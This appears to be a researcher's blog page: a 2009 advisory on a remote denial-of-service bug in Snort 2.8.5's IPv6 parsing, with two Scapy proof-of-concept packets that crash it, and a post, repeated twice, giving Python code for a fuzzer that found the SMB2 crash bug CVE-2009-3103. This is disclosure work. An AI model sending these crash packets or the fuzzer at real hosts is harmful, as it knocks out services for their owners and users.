=============================================
- Date: October 22th, 2009
- Discovered by: Laurent Gaffié
- Severity: Low
=============================================
I. VULNERABILITY
-------------------------
Snort <= 2.8.5 IPV6 Remote DoS
II. DESCRIPTION
-------------------------
A remote DoS was present in Snort 2.8.5 when parsing some specialy IPv6 crafted packet
To trigger theses bug you need to have compiled snort with the --enable-ipv6 option, and run it in verbose mode (-v)
III. PROOF OF CONCEPT
-------------------------
You can reproduce theses two different bug easily by using the python Low-level networking lib Scapy ( http://www.secdev.org/projects/scapy/files/scapy-latest.zip ):
1) #only works on x86
#/usr/bin/env python
from scapy.all import *
u = "\x92"+"\x02" * 6
send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -> TCP
2) # works x86,x64
#/usr/bin/env python
from scapy.all import *
z = "Q" * 30
send(IPv6(dst="IPv6_ADDR_HERE",nh=1)/ICMPv6NIQueryNOOP(
type=4)/z) #nh1 -> icmp (not v6)
IV. SYSTEMS AFFECTED
-------------------------
Theses proof of concept as been tested on snort:
- 2.8.5
V. NOT AFFECTED
-------------------------
Sourcefire 3D Sensor
VI. SOLUTION
-------------------------
A new version correcting theses issues as been released (2.8.5.1) :
http://www.snort.org/downloads
VII. REFERENCES
-------------------------
http://www.snort.org
http://vrt-sourcefire.blogspot.com/
VIII. REVISION HISTORY
-------------------------
October 14th, 2009: First issue discovered, advisory send to snort team.
October 14th, 2009: Snort security team confirm the bug.
October 16th, 2009: Second issue discovered, advisory send to snort team.
October 20th, 2009: Snort security team confirm the bug.
October 22th, 2009: Snort team release a new version.
IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com
Thursday, October 22, 2009
Sunday, October 4, 2009
More explication on CVE-2009-3103
This short post is an answer to the many questions i received regarding how i found the smb2 bug.
I said to securityfocus: "this bug was found in 3 seconds and 15 packet with my home made fuzzer"; it's true.
I also pointed at MS lack of S.Q.A on SMB2; it's true.
I was studying SMB and RPC since a while, and all my tests/fuzzing was failure, until i changed my fuzzing approach with SMB2;
Single Network Byte Fuzzing.
So i hardcoded a pretty simple fuzzer (python) for this approach:
----------------------------------------------------------
from socket import *
from time import sleep
from random import choice
host = "IP_ADDR", 445
#Negotiate Protocol Request
packet = [chr(int(a, 16)) for a in """
00 00 00 90
ff 53 4d 42 72 00 00 00 00 18 53 c8 00 00 00 00
00 00 00 00 00 00 00 00 ff ff ff fe 00 00 00 00
00 6d 00 02 50 43 20 4e 45 54 57 4f 52 4b 20 50
52 4f 47 52 41 4d 20 31 2e 30 00 02 4c 41 4e 4d
41 4e 31 2e 30 00 02 57 69 6e 64 6f 77 73 20 66
6f 72 20 57 6f 72 6b 67 72 6f 75 70 73 20 33 2e
31 61 00 02 4c 4d 31 2e 32 58 30 30 32 00 02 4c
41 4e 4d 41 4e 32 2e 31 00 02 4e 54 20 4c 4d 20
30 2e 31 32 00 02 53 4d 42 20 32 2e 30 30 32 00
""".split()]
while True:
#/Core#
what = packet[:]
where = choice(range(len(packet)))
which = chr(choice(range(256)))
what[where] = which
#/Core#
#sending stuff @host
sock = socket()
sock.connect(host)
sock.send(' '.join(what))
sleep(0.1) # dont flood it
print 'fuzzing param %s' % (which.encode("hex"))
print 'complete packet %s' % (''.join(what).encode("hex"))
# When SMB Or RPC die (with TCP), sock get a timed out and die @the last packet, printing these things is more than usefull
sock.close()
----------------------------------------------------------
This simple fuzzer pwned smb2 in 3 seconds.
Nothing special here, no wheel reinvented.
Alot of security gurus were claming that auditing SMB/Netbios/TCP-IP on MS* was a waste of time.
I dont believe in these assumptions, and I definatly prefer to "waste my time"...
Also MSRC and I had a 40 emails discussion, regarding this disclosure and BLAH...
As I said in those emails, if it would've been just a little harder to find, I would've done a coordinated disclosure.
This stupid bug is a good example on how assumptions sucks, and also of how you can't rely on relational marketing. When bugs
like this hits the fan everyone goes WTF, and it gets healthy in the end, for the lambda user. MS performed a code review on SMB2
after which they said :
"For this update, the product team has so far already completed over 10,000 separate test cases in their regression testing.
They are now in stress testing, 3rd-party application testing, and fuzzing. We'd sure like to complete all that testing
before the update needs to be released"
Yep it sounds nice, clean and transparent, but if they would have done this on the MS07-063 patch they would have found this
bug in 3 seconds not in 4 weeks of hardcore fuzzing and this is a fact ;)
Yes Full-Disclosure is usefull, and yes i believe in it.
I said to securityfocus: "this bug was found in 3 seconds and 15 packet with my home made fuzzer"; it's true.
I also pointed at MS lack of S.Q.A on SMB2; it's true.
I was studying SMB and RPC since a while, and all my tests/fuzzing was failure, until i changed my fuzzing approach with SMB2;
Single Network Byte Fuzzing.
So i hardcoded a pretty simple fuzzer (python) for this approach:
----------------------------------------------------------
from socket import *
from time import sleep
from random import choice
host = "IP_ADDR", 445
#Negotiate Protocol Request
packet = [chr(int(a, 16)) for a in """
00 00 00 90
ff 53 4d 42 72 00 00 00 00 18 53 c8 00 00 00 00
00 00 00 00 00 00 00 00 ff ff ff fe 00 00 00 00
00 6d 00 02 50 43 20 4e 45 54 57 4f 52 4b 20 50
52 4f 47 52 41 4d 20 31 2e 30 00 02 4c 41 4e 4d
41 4e 31 2e 30 00 02 57 69 6e 64 6f 77 73 20 66
6f 72 20 57 6f 72 6b 67 72 6f 75 70 73 20 33 2e
31 61 00 02 4c 4d 31 2e 32 58 30 30 32 00 02 4c
41 4e 4d 41 4e 32 2e 31 00 02 4e 54 20 4c 4d 20
30 2e 31 32 00 02 53 4d 42 20 32 2e 30 30 32 00
""".split()]
while True:
#/Core#
what = packet[:]
where = choice(range(len(packet)))
which = chr(choice(range(256)))
what[where] = which
#/Core#
#sending stuff @host
sock = socket()
sock.connect(host)
sock.send(' '.join(what))
sleep(0.1) # dont flood it
print 'fuzzing param %s' % (which.encode("hex"))
print 'complete packet %s' % (''.join(what).encode("hex"))
# When SMB Or RPC die (with TCP), sock get a timed out and die @the last packet, printing these things is more than usefull
sock.close()
----------------------------------------------------------
This simple fuzzer pwned smb2 in 3 seconds.
Nothing special here, no wheel reinvented.
Alot of security gurus were claming that auditing SMB/Netbios/TCP-IP on MS* was a waste of time.
I dont believe in these assumptions, and I definatly prefer to "waste my time"...
Also MSRC and I had a 40 emails discussion, regarding this disclosure and BLAH...
As I said in those emails, if it would've been just a little harder to find, I would've done a coordinated disclosure.
This stupid bug is a good example on how assumptions sucks, and also of how you can't rely on relational marketing. When bugs
like this hits the fan everyone goes WTF, and it gets healthy in the end, for the lambda user. MS performed a code review on SMB2
after which they said :
"For this update, the product team has so far already completed over 10,000 separate test cases in their regression testing.
They are now in stress testing, 3rd-party application testing, and fuzzing. We'd sure like to complete all that testing
before the update needs to be released"
Yep it sounds nice, clean and transparent, but if they would have done this on the MS07-063 patch they would have found this
bug in 3 seconds not in 4 weeks of hardcore fuzzing and this is a fact ;)
Yes Full-Disclosure is usefull, and yes i believe in it.
Subscribe to:
Posts (Atom)
Posts
